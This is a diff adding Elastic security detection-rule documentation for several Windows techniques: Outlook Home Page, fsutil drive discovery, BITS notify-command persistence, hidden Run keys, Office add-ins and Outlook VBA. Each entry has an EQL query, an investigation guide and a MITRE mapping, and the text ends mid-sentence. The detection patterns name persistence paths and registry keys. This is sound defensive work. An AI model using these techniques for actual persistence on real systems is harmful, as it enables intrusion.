initiator. If signer fields are absent on the registry event, recover the writer from surrounding process telemetry. + - Implication: the writer context is harder to justify when a script host, LOLBin, unsigned, or user-writable binary writes the key, or when the user context does not match known Outlook administration tooling; it is more explainable when the writer is a signed deployment or profile-management tool with a recognized signer. + +- What does the target URL or path resolve to, and does it fit a known abuse pattern? + - Focus: the written target in `registry.data.strings`; for URL targets, review same-host DNS "lookup_result" and connection events with `dns.question.name`, `dns.resolved_ip`, and `destination.ip`; for path targets, pivot to `file.path` on the same `host.id`. + - Hint: if the target is a UNC path, confirm whether the same host reached the backing server in surrounding connection activity and whether a local `file.path` copy was staged before Outlook could render it. + - Implication: external URLs to rare domains or public IPs, user-writable HTML files, and unrecognized network shares support concern. The target is less concerning when it resolves to a recognized enterprise portal or branding content path. Missing corroborating network or file telemetry is unresolved, not benign. + +- Do file events or Outlook process events show the target being staged or activated? + - Focus: same-host file activity tied to the writer or target path (`file.path`, `file.origin_url`, `file.Ext.windows.zone_identifier`), and Outlook or Office process events (`process.executable`, `process.parent.executable`) that access the configured target. + - Hint: for URL targets, correlate Outlook activity to the same resolved IPs or domains; for local or UNC paths, look for the same path being opened after the write. + - Implication: concern rises when the writer stages HTML or script content in user-writable locations and Outlook reaches the same target, or when the modified profile triggers suspicious child or network activity. Absence of staging or activation does not clear the registry write but reduces immediate execution risk. + +- If the local evidence stays suspicious, how did the account authenticate to this host before the registry write? + - Why: writing the Outlook Home Page key requires HKCU hive access, so the session origin can reveal compromised credentials, lateral movement, or unexpected remote access. + - Focus: if Windows Security logs are ingested, query authentication events for `user.id` and `host.id` around the alert time, checking `winlog.logon.type`, `source.ip`, and `winlog.event_data.AuthenticationPackageName`. If authentication data is unavailable, fall back to `process.Ext.session_info.logon_type` from the writer's process event. + - Implication: supports concern when the session originated from an unexpected source IP, used an unusual logon type or authentication package, or cannot be tied to the user's normal access pattern for this host. + +- If the local evidence stays suspicious, does this host show related alerts or adjacent Outlook Home Page variants? + - Focus: related alerts for the same `host.id` and `user.id` in the last 48 hours to identify precursor delivery, suspicious Office execution, network command-and-control, or additional persistence activity on the same asset or user. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broader compromise when the asset also shows delivery, suspicious Office execution, or follow-on persistence alerts; stays locally bounded when surrounding host alerts are limited to routine administration or unrelated benign activity. + +- Escalate when the registry change, writer context, target resolution, execution evidence, and alert scope align on unauthorized Outlook customization or persistence; close only when all evidence fits a recognized Outlook customization or profile-management workflow; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Enterprise branding, profile migration, or configuration-management tooling can legitimately write these keys. Confirm when the `registry.path` family, `registry.data.strings` target, and writer identity all match the same customization or deployment workflow, with no staged external content or divergent infrastructure. +- Before creating an exception, build on the specific `registry.data.strings` value, `process.code_signature.subject_name` or `Effective_process.executable`, and the specific `registry.path` family. Avoid exceptions on `registry.value` alone, `user.name` alone, or the entire Outlook registry subtree. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the confirmed `registry.path` family, `registry.data.strings` target, and writer identity that proved the Outlook customization workflow. Create an exception using the same `registry.data.strings` value, writer signer, and `registry.path` family. +- If suspicious but unconfirmed, preserve the modified `registry.path`, written value data, recovered `process.entity_id`, writer identity, any staged `file.path` content, and any related destination or alert context. Apply reversible containment first, such as blocking the page target or limiting Outlook use on the affected host, and avoid destructive cleanup until scope is clearer. +- If confirmed malicious, document the recovered `process.entity_id`, `process.command_line`, `process.code_signature.subject_name`, `registry.data.strings` target, and the modified `registry.path` values before initiating response actions. Use available endpoint response integrations to contain the affected host or account when the writer, target, staging, or activation evidence indicates unauthorized Outlook Home Page abuse. If direct endpoint response is unavailable, escalate with the documented artifacts to the team that can act. +- Restore the affected Outlook Webview or Today values to a known-good state, remove any malicious local HTML or script content identified during the investigation, and block confirmed malicious domains, IPs, or network shares referenced by the page target. +- If the target points to external infrastructure or a shared path, review proxy, DNS, firewall, and related-alert data for additional hosts or users that reached the same content, then scope any follow-on delivery or persistence activity found on those assets. +- After containment, review whether Outlook Home Page functionality is still needed in the environment and restrict who can manage those settings. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.action != "deletion" and registry.value : "URL" and + registry.path : ( + "*\\SOFTWARE\\Microsoft\\Office\\*\\Outlook\\Webview\\*", + "*\\SOFTWARE\\Microsoft\\Office\\*\\Outlook\\Today\\*" + ) and registry.data.strings : ("*://*", "*:\\*", "\\\\*\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Office Application Startup +** ID: T1137 +** Reference URL: https://attack.mitre.org/techniques/T1137/ +* Sub-technique: +** Name: Outlook Home Page +** ID: T1137.004 +** Reference URL: https://attack.mitre.org/techniques/T1137/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-peripheral-device-discovery.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-peripheral-device-discovery.asciidoc new file mode 100644 index 0000000000..409e399be5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-peripheral-device-discovery.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-21-peripheral-device-discovery]] +=== Peripheral Device Discovery + +Identifies use of the Windows file system utility (fsutil.exe) to gather information about attached peripheral devices and components connected to a computer system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Peripheral Device Discovery* + + +After successfully compromising an environment, attackers may try to gain situational awareness to plan their next steps. This can happen by running commands to enumerate network resources, users, connections, files, and installed security software. + +This rule looks for the execution of the `fsutil` utility with the `fsinfo` subcommand to enumerate drives attached to the computer, which can be used to identify secondary drives used for backups, mapped network drives, and removable media. These devices can contain valuable information for attackers. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections. +- Determine whether this activity was followed by suspicious file access/copy operations or uploads to file storage services. + + +*False positive analysis* + + +- Discovery activities are not inherently malicious if they occur in isolation. As long as the analyst did not identify suspicious activity related to the user or host, such alerts can be dismissed. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "fsutil.exe" or ?process.pe.original_file_name == "fsutil.exe") and + process.args : "fsinfo" and process.args : "drives" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Peripheral Device Discovery +** ID: T1120 +** Reference URL: https://attack.mitre.org/techniques/T1120/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-bits-job-notify-cmdline.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-bits-job-notify-cmdline.asciidoc new file mode 100644 index 0000000000..38689acc83 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-bits-job-notify-cmdline.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-21-persistence-via-bits-job-notify-cmdline]] +=== Persistence via BITS Job Notify Cmdline + +An adversary can use the Background Intelligent Transfer Service (BITS) SetNotifyCmdLine method to execute a program that runs after a job finishes transferring data or after a job enters a specified state in order to persist on a system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://pentestlab.blog/2019/10/30/persistence-bits-jobs/ +* https://docs.microsoft.com/en-us/windows/win32/api/bits1_5/nf-bits1_5-ibackgroundcopyjob2-setnotifycmdline +* https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setnotifycmdline +* https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-2 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide + +*Version*: 414 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via BITS Job Notify Cmdline* + + +Background Intelligent Transfer Service (BITS) is a Windows service that facilitates asynchronous, prioritized, and throttled transfer of files between machines. Adversaries exploit BITS by using the SetNotifyCmdLine method to execute malicious programs post-transfer, achieving persistence. The detection rule identifies suspicious processes initiated by BITS, excluding known legitimate executables, to flag potential abuse. + + +*Possible investigation steps* + + +- Review the process details to confirm the parent process is "svchost.exe" with arguments containing "BITS" to ensure the alert is not a false positive. +- Examine the process executable path to verify it is not one of the known legitimate executables listed in the exclusion criteria. +- Investigate the command line arguments of the suspicious process to identify any potentially malicious or unusual commands being executed. +- Check the file hash and signature of the suspicious executable to determine if it is known malware or a legitimate application. +- Analyze the network activity associated with the process to identify any suspicious connections or data transfers that may indicate malicious behavior. +- Review the system's event logs for any additional context or related events that could provide insight into the persistence mechanism or the adversary's actions. +- Assess the affected system for any other signs of compromise or persistence mechanisms that may have been employed by the adversary. + + +*False positive analysis* + + +- Legitimate system processes or updates may occasionally trigger the rule if they are not included in the exclusion list. Regularly review and update the exclusion list to include any new legitimate executables that are identified. +- Some third-party software may use BITS for legitimate purposes, such as software updates or data synchronization. Identify these applications and consider adding their executables to the exclusion list to prevent false positives. +- Scheduled tasks or scripts that utilize BITS for file transfers might be flagged. Verify the legitimacy of these tasks and, if deemed safe, exclude their associated executables from the detection rule. +- In environments where custom scripts or administrative tools are used, ensure that these are documented and, if necessary, excluded from the rule to avoid unnecessary alerts. +- Monitor the frequency and context of alerts to identify patterns that may indicate benign activity. Use this information to refine the rule and reduce false positives without compromising security. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified as being initiated by BITS that are not part of the known legitimate executables list. +- Conduct a thorough review of the BITS job configurations on the affected system to identify and remove any unauthorized or suspicious jobs. +- Restore the system from a known good backup if malicious activity is confirmed and system integrity is compromised. +- Update and run a full antivirus and anti-malware scan on the affected system to ensure no additional threats are present. +- Review and enhance endpoint protection policies to prevent unauthorized use of BITS for persistence, ensuring that only trusted applications can create or modify BITS jobs. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "svchost.exe" and process.parent.args : "BITS" and + not process.executable : + ("?:\\Windows\\System32\\WerFaultSecure.exe", + "?:\\Windows\\System32\\WerFault.exe", + "?:\\Windows\\System32\\wermgr.exe", + "?:\\WINDOWS\\system32\\directxdatabaseupdater.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: BITS Jobs +** ID: T1197 +** Reference URL: https://attack.mitre.org/techniques/T1197/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-hidden-run-key-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-hidden-run-key-detected.asciidoc new file mode 100644 index 0000000000..31950ce8c7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-hidden-run-key-detected.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-21-persistence-via-hidden-run-key-detected]] +=== Persistence via Hidden Run Key Detected + +Identifies a persistence mechanism that utilizes the NtSetValueKey native API to create a hidden (null terminated) registry key. An adversary may use this method to hide from system utilities such as the Registry Editor (regedit). + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/outflanknl/SharpHide +* https://github.com/ewhitehats/InvisiblePersistence/blob/master/InvisibleRegValues_Whitepaper.pdf + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via Hidden Run Key Detected* + + +The Windows Registry is a critical system database that stores configuration settings. Adversaries exploit it for persistence by creating hidden registry keys using native APIs, making them invisible to standard tools like regedit. The detection rule identifies changes in specific registry paths associated with startup programs, flagging null-terminated keys that suggest stealthy persistence tactics. + + +*Possible investigation steps* + + +- Review the specific registry path where the change was detected to determine if it matches any of the paths listed in the query, such as "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\" or "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\". +- Check the timestamp of the registry change event to correlate it with other system activities or user actions that occurred around the same time. +- Investigate the process that made the registry change by examining process creation logs or using tools like Sysmon to identify the responsible process and its parent process. +- Analyze the content of the registry key value that was modified or created to determine if it points to a legitimate application or a potentially malicious executable. +- Cross-reference the detected registry change with known threat intelligence sources to identify if the key or value is associated with known malware or adversary techniques. +- Assess the affected system for additional indicators of compromise, such as unusual network connections, file modifications, or other persistence mechanisms. + + +*False positive analysis* + + +- Legitimate software installations or updates may create registry keys in the specified paths, leading to false positives. Users can monitor the installation process and temporarily disable the rule during known software updates to prevent unnecessary alerts. +- System administrators may intentionally configure startup programs for maintenance or monitoring purposes. Document these configurations and create exceptions in the detection rule to avoid flagging them as threats. +- Some security software may use similar techniques to ensure their components start with the system. Verify the legitimacy of such software and whitelist their registry changes to prevent false alarms. +- Custom scripts or automation tools used within an organization might modify registry keys for operational reasons. Identify these scripts and exclude their activities from the detection rule to reduce false positives. +- Regularly review and update the list of known safe applications and processes that interact with the registry paths in question, ensuring that the detection rule remains relevant and accurate. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Use a trusted tool to manually inspect and remove the hidden registry keys identified in the alert from the specified registry paths to eliminate the persistence mechanism. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or processes associated with the threat. +- Review recent user activity and system logs to identify any unauthorized access or changes made by the adversary, and reset credentials for any compromised accounts. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring on the affected system and similar endpoints to detect any recurrence of the threat, focusing on registry changes and process execution. +- Update and reinforce endpoint security configurations to prevent similar persistence techniques, such as enabling registry auditing and restricting access to critical registry paths. + +==== Rule query + + +[source, js] +---------------------------------- +/* Registry Path ends with backslash */ +registry where host.os.type == "windows" and event.type == "change" and length(registry.data.strings) > 0 and + registry.path : "*\\Run\\" and + registry.path : ( + "*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", + "*\\Software\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\", + "*\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-microsoft-office-addins.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-microsoft-office-addins.asciidoc new file mode 100644 index 0000000000..8c12934d6c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-microsoft-office-addins.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-21-persistence-via-microsoft-office-addins]] +=== Persistence via Microsoft Office AddIns + +Detects attempts to establish persistence on an endpoint by abusing Microsoft Office add-ins. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://labs.withsecure.com/publications/add-in-opportunities-for-office-persistence + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 313 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via Microsoft Office AddIns* + + +Microsoft Office AddIns enhance productivity by allowing custom functionalities in Office applications. However, adversaries exploit this by placing malicious add-ins in specific startup directories, ensuring execution each time the application launches. The detection rule identifies suspicious files with extensions like .xll or .xlam in these directories, flagging potential persistence mechanisms on Windows systems. + + +*Possible investigation steps* + + +- Review the file path and extension from the alert to confirm it matches the suspicious directories and extensions specified in the detection rule, such as .xll or .xlam in the Microsoft Office startup directories. +- Check the file creation and modification timestamps to determine when the suspicious file was added or altered, which can help establish a timeline of potential malicious activity. +- Investigate the file's origin by examining recent file downloads, email attachments, or network activity that might have introduced the file to the system. +- Analyze the file's contents or hash against known malware databases to identify if it is a known threat or potentially malicious. +- Review user activity and system logs around the time the file was created or modified to identify any unusual behavior or processes that could be related to the persistence mechanism. +- Assess the impacted user's role and access level to determine the potential risk and impact of the persistence mechanism on the organization. + + +*False positive analysis* + + +- Legitimate add-ins installed by trusted software vendors may trigger alerts. Verify the source and publisher of the add-in to determine its legitimacy. +- Custom add-ins developed internally for business purposes can be flagged. Maintain a whitelist of known internal add-ins to prevent unnecessary alerts. +- Frequent updates to legitimate add-ins might cause repeated alerts. Implement version control and update the whitelist accordingly to accommodate these changes. +- User-specific add-ins for accessibility or productivity tools may be detected. Educate users on safe add-in practices and monitor for any unusual behavior. +- Temporary add-ins used for specific projects or tasks can be mistaken for threats. Document and review these cases to ensure they are recognized as non-threatening. + + +*Response and remediation* + + +- Isolate the affected endpoint from the network to prevent further spread of the potential threat. +- Terminate any suspicious Microsoft Office processes that may be running add-ins from the identified directories. +- Remove the malicious add-in files from the specified startup directories: "C:\Users\*\AppData\Roaming\Microsoft\Word\Startup\", "C:\Users\*\AppData\Roaming\Microsoft\AddIns\", and "C:\Users\*\AppData\Roaming\Microsoft\Excel\XLSTART\". +- Conduct a full antivirus and antimalware scan on the affected system using tools like Microsoft Defender XDR to ensure no other malicious files are present. +- Review and restore any altered system configurations or settings to their default state to ensure system integrity. +- Monitor the affected system and network for any signs of re-infection or related suspicious activity, using enhanced logging and alerting mechanisms. +- Escalate the incident to the security operations center (SOC) or relevant IT security team for further analysis and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + file.extension : ("wll","xll","ppa","ppam","xla","xlam") and + file.path : ( + "C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Word\\Startup\\*", + "C:\\Users\\*\\AppData\\Roaming\\Microsoft\\AddIns\\*", + "C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", + + /* Crowdstrike specific condition as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Users\\*\\AppData\\Roaming\\Microsoft\\Word\\Startup\\*", + "\\Device\\HarddiskVolume*\\Users\\*\\AppData\\Roaming\\Microsoft\\AddIns\\*", + "\\Device\\HarddiskVolume*\\Users\\*\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Office Application Startup +** ID: T1137 +** Reference URL: https://attack.mitre.org/techniques/T1137/ +* Sub-technique: +** Name: Add-ins +** ID: T1137.006 +** Reference URL: https://attack.mitre.org/techniques/T1137/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-microsoft-outlook-vba.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-microsoft-outlook-vba.asciidoc new file mode 100644 index 0000000000..cfbc308ae9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-persistence-via-microsoft-outlook-vba.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-21-persistence-via-microsoft-outlook-vba]] +=== Persistence via Microsoft Outlook VBA + +Detects attempts to establish persistence on an endpoint by installing a rogue Microsoft Outlook VBA Template. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/ +* https://www.linkedin.com/pulse/outlook-backdoor-using-vba-samir-b-/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 313 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via Microsoft Outlook VBA* + + +Microsoft Outlook supports VBA scripting to automate tasks, which can be exploited by adversaries to maintain persistence. Attackers may install malicious VBA templates in the Outlook environment, triggering scripts upon application startup. The detection rule identifies suspicious activity by monitoring for unauthorized modifications to the VBAProject.OTM file, a common target for such persistence techniques, leveraging various data sources to flag potential threats. + + +*Possible investigation steps* + + +- Review the alert details to confirm the file path matches the pattern "C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Outlook\\VbaProject.OTM" and ensure the event type is not "deletion". +- Check the modification timestamp of the VbaProject.OTM file to determine when the unauthorized change occurred. +- Identify the user account associated with the file path to understand which user profile was potentially compromised. +- Investigate recent login activities and processes executed by the identified user to detect any anomalies or unauthorized access. +- Examine the contents of the VbaProject.OTM file for any suspicious or unfamiliar VBA scripts that could indicate malicious intent. +- Correlate the findings with other data sources such as Sysmon, Microsoft Defender XDR, or SentinelOne to gather additional context or related events. +- Assess the risk and impact of the detected activity and determine if further containment or remediation actions are necessary. + + +*False positive analysis* + + +- Routine updates or legitimate changes to the Outlook environment can trigger alerts. Users should verify if recent software updates or administrative changes align with the detected activity. +- Custom scripts or macros developed by IT departments for legitimate automation tasks may be flagged. Establish a whitelist of known and approved VBA scripts to prevent unnecessary alerts. +- User-initiated actions such as importing or exporting Outlook settings might modify the VbaProject.OTM file. Educate users on the implications of these actions and consider excluding these specific user actions from triggering alerts. +- Security software or backup solutions that interact with Outlook files could cause false positives. Identify and exclude these processes if they are known to be safe and necessary for operations. +- Regularly review and update the exclusion list to ensure it reflects current organizational needs and does not inadvertently allow malicious activity. + + +*Response and remediation* + + +- Isolate the affected endpoint from the network to prevent further spread of the malicious VBA script and to contain the threat. +- Terminate any suspicious Outlook processes on the affected machine to stop the execution of potentially harmful scripts. +- Remove the unauthorized or malicious VbaProject.OTM file from the affected user's Outlook directory to eliminate the persistence mechanism. +- Restore the VbaProject.OTM file from a known good backup if available, ensuring that it is 